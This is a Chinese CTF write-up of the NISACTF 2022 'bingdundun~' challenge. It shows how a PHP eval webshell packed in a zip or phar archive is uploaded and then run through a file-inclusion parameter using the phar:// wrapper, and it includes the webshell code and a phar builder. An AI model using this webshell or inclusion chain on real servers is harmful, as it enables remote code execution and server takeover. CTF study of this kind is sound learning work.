目录

[NISACTF 2022]bingdundun~

目录

[NISACTF 2022]bingdundun~

https://pic.imgdb.cn/item/655c9230c458853aefbfba37.jpg

得知仅能上传图片或压缩包

通过 URL 传参的部分:?bingdundun=upload 可以推测是文件包含,尝试访问 upload.php

https://pic.imgdb.cn/item/655c9633c458853aefccdef6.jpg

正常要包含 upload.php ,传参部分应该是:?bingdundun=upload.php

由此可以推断 “bingdundun” 参数在接收到数据后会在后面加个:.php

就不能通过上传内容为木马代码的图片并利用文件包含来解析木马,只能把目光放在压缩包

phar://伪协议可以将.phar打包文件和.zip压缩包解压且能解析里面的文件、、

创建一个Lyrio.php文件:

1
<?php @eval($_POST['Lyrio']);phpinfo(); ?>

压缩成 zip 格式的压缩包,上传,得到上传后文件的地址和名字:/var/www/html/0bd8920a2f7503f65133966df32d42e3.zip

phar://伪协议来解析后门文件:?bingdundun=phar:///var/www/html/0bd8920a2f7503f65133966df32d42e3.zip/Lyrio

https://pic.imgdb.cn/item/655cab0fc458853aef1d39c5.jpg

页面执行了phpinfo()说明后门解析成功,最后就是用 WebShell 管理工具连接并找到 flag

https://pic.imgdb.cn/item/655cabfac458853aef216535.jpg

也可以生成.phar打包文件来做这题,生成.phar文件的代码:

1
2
3
4
5
6
7
8
<?php
    $payload = '<?php @eval($_POST["Lyrio"]);phpinfo();?>';  // 一句话木马
    $phar = new Phar("shell.phar");  // 后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");  // 设置stub
    $phar->addFromString("Lyrio.php", "$payload");  // 添加要压缩的文件
    $phar->stopBuffering();
?>

如果运行报错是由于php.ini中的phar.readonly参数为"On",阻止 phar 扩展的使用。

解决方法:

  1. php.ini中的phar.readonly参数为改为"Off"
  2. 在此 php 文件的目录下打开 cmd 输入:php -d phar.readonly=0 文件名.php

成功后生成shell.phar文件,由于本题只能上传图片或者压缩包,所以将后缀改成.zip再上传。然后用phar://伪协议来解析后门文件 ( phar 伪协议不看后缀名,主要看标识来判定,因此可以改成任意后缀)

https://pic.imgdb.cn/item/655cca0fc458853aefb88e1e.jpg

接下来的步骤和上面的一样